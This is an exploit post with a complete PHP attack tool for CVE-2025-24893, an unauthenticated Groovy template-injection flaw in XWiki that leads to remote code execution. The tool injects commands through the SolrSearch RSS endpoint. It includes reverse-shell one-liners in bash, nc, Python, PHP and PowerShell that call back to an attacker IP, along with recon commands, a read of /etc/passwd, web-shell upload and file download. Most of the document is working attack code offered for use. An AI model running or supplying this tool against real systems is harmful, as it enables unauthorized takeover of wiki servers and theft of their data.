XWiki 16.4.0 Remote Code Execution
=============================================================================================================================================
| # Title XWiki 16.4.0 Remote Code Execution
=============================================================================================================================================
| # Title : XWiki 5.3-milestone-2 Remote Code Execution Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/xwiki/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/209041/ & CVE-2025-24893
[+] Summary : a critical template injection vulnerability in XWiki Platform that allows unauthenticated remote code execution.
The vulnerability affects XWiki versions 5.3-milestone-2 to 15.10.10 and 16.0.0-rc-1 to 16.4.0, potentially impacting thousands of enterprise wiki installations.
[+] POC :
# Check for vulnerability
php exploit.php http://target.com --check
# Execute command
php exploit.php http://target.com --cmd "id"
php exploit.php http://target.com --cmd "whoami" --os windows
# Create reverse shell
php exploit.php http://target.com --reverse 192.168.1.100:4444
php exploit.php http://target.com --reverse 192.168.1.100:4444 --shell python
# Gather information
php exploit.php http://target.com --info
# Upload file
php exploit.php http://target.com --upload shell.php:/tmp/shell.php
# Download file
php exploit.php http://target.com --download /etc/passwd:passwd.txt
<?php
/**
* BY indoushka
*/
class XWikiExploit {
private $target;
private $path;
private $timeout = 10;
private $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
public function __construct($target, $path = '/') {
$this->target = rtrim($target, '/');
$this->path = $path;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking target: {$this->target}\n";
$response = $this->sendRequest("/xwiki/bin/view/Main/");
if (!$response) {
echo "[-] No response from target\n";
return false;
}
// Extract version from HTML
preg_match('/<div[^>]*id="xwikiplatformversion"[^>]*>(.*?)<\/div>/si', $response, $matches);
if (empty($matches)) {
echo "[-] Could not find version information\n";
return false;
}
preg_match('/XWiki.*?(\d+\.\d+\.\d+)/', $matches[1], $versionMatch);
if (empty($versionMatch)) {
echo "[-] Could not extract version number\n";
return false;
}
$version = $versionMatch[1];
echo "[+] Detected XWiki version: {$version}\n";
// Check if version is vulnerable
$vulnerable = $this->isVersionVulnerable($version);
if ($vulnerable) {
echo "[+] Target appears to be VULNERABLE!\n";
return true;
} else {
echo "[-] Target appears to be SAFE\n";
return false;
}
}
/**
* Execute command on target
*/
public function executeCommand($command, $os = 'unix') {
echo "[*] Building payload for {$os}...\n";
if ($os === 'unix' || $os === 'linux') {
$cmdArray = "'sh', '-c', '{$command}'";
} else {
// Windows
$cmdArray = "'cmd.exe', '/b', '/q', '/c', '{$command}'";
}
$payload = "{{async async=false}}{{groovy}}[{$cmdArray}].execute().text{{/groovy}}{{/async}}";
echo "[*] Sending payload...\n";
$url = "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" . urlencode($payload);
$response = $this->sendRequest($url);
if ($response) {
echo "[+] Command executed. Response:\n";
echo "----------------------------------------\n";
echo $response;
echo "\n----------------------------------------\n";
return $response;
} else {
echo "[-] No response received\n";
return false;
}
}
/**
* Reverse shell for Unix/Linux
*/
public function reverseShell($ip, $port, $shellType = 'bash') {
echo "[*] Setting up reverse shell to {$ip}:{$port}\n";
if ($shellType === 'bash') {
$command = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1";
} elseif ($shellType === 'nc') {
$command = "nc -e /bin/sh {$ip} {$port}";
} elseif ($shellType === 'python') {
$command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
} elseif ($shellType === 'php') {
$command = "php -r '\$sock=fsockopen(\"{$ip}\",{$port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'";
} else {
$command = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1";
}
// URL encode the command
return $this->executeCommand($command, 'unix');
}
/**
* Reverse shell for Windows
*/
public function reverseShellWindows($ip, $port) {
echo "[*] Setting up Windows reverse shell to {$ip}:{$port}\n";
// PowerShell reverse shell
$command = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"\$TCPClient = New-Object Net.Sockets.TCPClient('{$ip}', {$port});\$NetworkStream = \$TCPClient.GetStream();\$StreamWriter = New-Object IO.StreamWriter(\$NetworkStream);\$StreamWriter.WriteLine((Get-WmiObject Win32_ComputerSystem).Name + ':' + (Get-WmiObject Win32_OperatingSystem).Version);\$StreamWriter.Flush();while((\$BytesRead = \$NetworkStream.Read(\$Buffer, 0, \$Buffer.Length)) -gt 0){\$Command = ([Text.Encoding]::ASCII).GetString(\$Buffer, 0, \$BytesRead - 1);\$Output = try { Invoke-Expression \$Command 2>&1 | Out-String } catch { \$_ | Out-String };\$ReturnOutput = \$Output + 'PS ' + (Get-Location).Path + '> ';\$StreamWriter.Write(\$ReturnOutput);\$StreamWriter.Flush()};\$StreamWriter.Close()\"";
return $this->executeCommand($command, 'windows');
}
/**
* Information gathering
*/
public function gatherInfo() {
echo "[*] Gathering system information...\n";
$commands = [
'id' => 'id',
'whoami' => 'whoami',
'uname' => 'uname -a',
'pwd' => 'pwd',
'ps' => 'ps aux | head -20',
'users' => 'cat /etc/passwd | head -20',
'network' => 'ifconfig || ip addr'
];
foreach ($commands as $name => $cmd) {
echo "\n[*] Executing: {$name}\n";
$this->executeCommand($cmd, 'unix');
sleep(1); // Avoid rate limiting
}
}
/**
* File upload
*/
public function uploadFile($localFile, $remotePath) {
if (!file_exists($localFile)) {
echo "[-] Local file not found: {$localFile}\n";
return false;
}
$content = base64_encode(file_get_contents($localFile));
$command = "echo '{$content}' | base64 -d > {$remotePath}";
echo "[*] Uploading {$localFile} to {$remotePath}\n";
return $this->executeCommand($command, 'unix');
}
/**
* File download
*/
public function downloadFile($remoteFile, $localFile) {
$command = "cat {$remoteFile} | base64";
$response = $this->executeCommand($command, 'unix');
if ($response && preg_match('/^[A-Za-z0-9+\/=]+$/m', trim($response))) {
$decoded = base64_decode(trim($response));
file_put_contents($localFile, $decoded);
echo "[+] File downloaded to: {$localFile}\n";
return true;
} else {
echo "[-] Failed to download file\n";
return false;
}
}
/**
* Private helper methods
*/
private function sendRequest($uri) {
$url = $this->target . $uri;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
echo "[-] cURL Error: " . curl_error($ch) . "\n";
curl_close($ch);
return false;
}
curl_close($ch);
if ($httpCode == 200) {
return $response;
} else {
echo "[-] HTTP Error: {$httpCode}\n";
return false;
}
}
private function isVersionVulnerable($version) {
$versionParts = explode('.', $version);
if (count($versionParts) < 3) {
return false;
}
$major = (int)$versionParts[0];
$minor = (int)$versionParts[1];
$patch = (int)$versionParts[2];
// Check vulnerable ranges
if ($major >= 5 && $major <= 15) {
if ($major == 5 && $minor >= 3) {
return true;
} elseif ($major == 15 && $minor == 10 && $patch <= 10) {
return true;
} elseif ($major > 5 && $major < 15) {
return true;
}
} elseif ($major == 16) {
if ($minor == 0 && $patch == 0) {
// 16.0.0-rc-1 is vulnerable
return true;
} elseif ($minor == 4 && $patch == 0) {
return true;
} elseif ($minor < 4) {
return true;
}
}
return false;
}
}
/**
* Usage examples
*/
function printHelp() {
echo "Powered by indoushka XWiki CVE-2025-24893 Exploit Tool\n";
echo "Usage:\n";
echo " php exploit.php <target> [options]\n\n";
echo "Options:\n";
echo " --check Check if target is vulnerable\n";
echo " --cmd <command> Execute system command\n";
echo " --os <unix|windows> Target OS (default: unix)\n";
echo " --reverse <ip:port> Create reverse shell\n";
echo " --shell <type> Shell type (bash, nc, python, php)\n";
echo " --info Gather system information\n";
echo " --upload <local:remote> Upload file\n";
echo " --download <remote:local> Download file\n";
echo " --path <path> XWiki installation path (default: /)\n";
echo " --help Show this help\n\n";
echo "Examples:\n";
echo " php exploit.php http://target.com --check\n";
echo " php exploit.php http://target.com --cmd 'id'\n";
echo " php exploit.php http://target.com --reverse 192.168.1.100:4444\n";
echo " php exploit.php http://target.com --upload shell.php:/tmp/shell.php\n";
}
/**
* Main execution
*/
if (PHP_SAPI !== 'cli') {
die("This script must be run from command line\n");
}
if ($argc < 2) {
printHelp();
exit(1);
}
$target = $argv[1];
$options = [
'path' => '/',
'os' => 'unix'
];
// Parse command line arguments
for ($i = 2; $i < $argc; $i++) {
switch ($argv[$i]) {
case '--check':
$options['check'] = true;
break;
case '--cmd':
$options['cmd'] = $argv[++$i];
break;
case '--os':
$options['os'] = $argv[++$i];
break;
case '--reverse':
$options['reverse'] = $argv[++$i];
break;
case '--shell':
$options['shell'] = $argv[++$i];
break;
case '--info':
$options['info'] = true;
break;
case '--upload':
$options['upload'] = $argv[++$i];
break;
case '--download':
$options['download'] = $argv[++$i];
break;
case '--path':
$options['path'] = $argv[++$i];
break;
case '--help':
printHelp();
exit(0);
default:
echo "Unknown option: {$argv[$i]}\n";
printHelp();
exit(1);
}
}
// Create exploit instance
$exploit = new XWikiExploit($target, $options['path']);
// Execute requested action
if (isset($options['check'])) {
$exploit->check();
} elseif (isset($options['cmd'])) {
$exploit->executeCommand($options['cmd'], $options['os']);
} elseif (isset($options['reverse'])) {
list($ip, $port) = explode(':', $options['reverse']);
if ($options['os'] === 'windows') {
$exploit->reverseShellWindows($ip, $port);
} else {
$shellType = $options['shell'] ?? 'bash';
$exploit->reverseShell($ip, $port, $shellType);
}
} elseif (isset($options['info'])) {
$exploit->gatherInfo();
} elseif (isset($options['upload'])) {
list($local, $remote) = explode(':', $options['upload'], 2);
$exploit->uploadFile($local, $remote);
} elseif (isset($options['download'])) {
list($remote, $local) = explode(':', $options['download'], 2);
$exploit->downloadFile($remote, $local);
} else {
echo "No action specified. Use --help for usage information.\n";
}
echo "\n[*] Exploit completed\n";
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================